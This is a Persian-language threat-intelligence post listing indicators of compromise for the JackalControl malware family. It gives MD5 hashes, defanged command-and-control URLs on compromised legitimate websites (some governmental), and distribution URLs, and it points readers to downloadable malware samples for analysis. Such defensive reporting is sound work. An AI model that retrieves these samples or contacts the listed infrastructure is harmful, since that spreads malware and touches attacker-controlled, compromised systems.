برای تحلیل و آنالیز و تمرین بیشتر، میتونید دو نمونه از بدافزارهای موجود در این گزارش که مرتبط با تروجان JackalControl هستش رو از صفحه گیتهابمون دانلود کنید.
IOCهای گزارش :
MD5 hashes
JackalControl
5ed498f9ad6e74442b9b6fe289d9feb3
a5ad15a9115a60f15b7796bc717a471d
c6e5c8bd7c066008178bc1fb19437763
4f041937da7748ebf6d0bbc44f1373c9
eab4f3a69b2d30b16df3d780d689794c
8c1070f188ae87fba1148a3d791f2523
JackalSteal
c05999b9390a3d8f4086f6074a592bc2
JackalWorm
5de309466b2163958c2e12c7b02d8384
JackalPerInfo
a491aefb659d2952002ef20ae98d7465
JackalScreenWatcher
1072bfeee89e369a9355819ffa39ad20
Legitimate compromised websites
JackalControl C2
hxxp://abert-online[.]de/meeting/plugins[.]php
hxxp://acehigh[.]host/robotx[.]php
hxxp://assistance[.]uz/admin/plugins[.]php
hxxp://cnom[.]sante[.]gov[.]ml/components/com_avreloaded/views/popup/tmpl/header[.]php
hxxp://info[.]merysof[.]am/plugins/search/content/plugins[.]php
hxxp://invest[.]zyrardow[.]pl/admin/model/setting/plugins[.]php
hxxp://weblines[.]gr/gallery/gallery_input[.]php
hxxp://www[.]wetter-bild[.]de/plugins[.]php
hxxps://ajapnyakmc[.]com/wp-content/cache/index[.]php
hxxps://asusiran[.]com/wp-content/plugins/persian-woocommerce/include/class-cache[.]php
hxxps://asusiran[.]com/wp-content/themes/woodmart/inc/modules/cache[.]php
hxxps://croma[.]vn/wp-content/themes/croma/template-parts/footer[.]php
hxxps://den-photomaster[.]kz/wp-track[.]php
hxxps://eyetelligence[.]ai/wp-content/themes/cms/inc/template-parts/footer[.]php
hxxps://finasteridehair[.]com/wp-includes/class-wp-network-statistics[.]php
hxxps://gradaran[.]be/wp-content/themes/tb-sound/inc/footer[.]php
hxxps://mehrganhospital[.]com/wp-includes/class-wp-tax-system[.]php
hxxps://meukowcognac[.]com/wp-content/themes/astra/page-flags[.]php
hxxps://nassiraq[.]iq/wp-includes/class-wp-header-styles[.]php
hxxps://new[.]jmcashback[.]com/wp-track[.]php
hxxps://news[.]lmond[.]com/wp-content/themes/newsbook/inc/footer[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/cache/functions[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/dt-the7/inc/cache[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/twentyfifteen/content-manager[.]php
hxxps://sbj-i[.]com/wp-content/plugins/wp-persian/includes/class-wp-cache[.]php
hxxps://sbj-i[.]com/wp-content/themes/hamyarwp-spacious/cache[.]php
hxxps://sokerpower[.]com/wp-includes/class-wp-header-styles[.]php
hxxps://technocometsolutions[.]com/wp-content/themes/seofy/templates-sample[.]php
hxxps://www[.]djstuff[.]fr/wp-content/themes/twentyfourteen/inc/footer[.]php
hxxps://www[.]perlesoie[.]com/wp-content/plugins/contact-form-7/includes/cache[.]php
hxxps://www[.]perlesoie[.]com/wp-content/themes/flatsome/inc/classes/class-flatsome-cache[.]php
JackalSteal/JackalScreenWatcher C2
hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php
hxxps://winoptimum[.]com/wp-includes/customize/class-wp-customize-sidebar-refresh.php
Distribution websites
hxxps://www[.]pak-developers[.]net/internal_data/templates/template.html
hxxps://www[.]pak-developers[.]net/internal_data/templates/bottom.jpg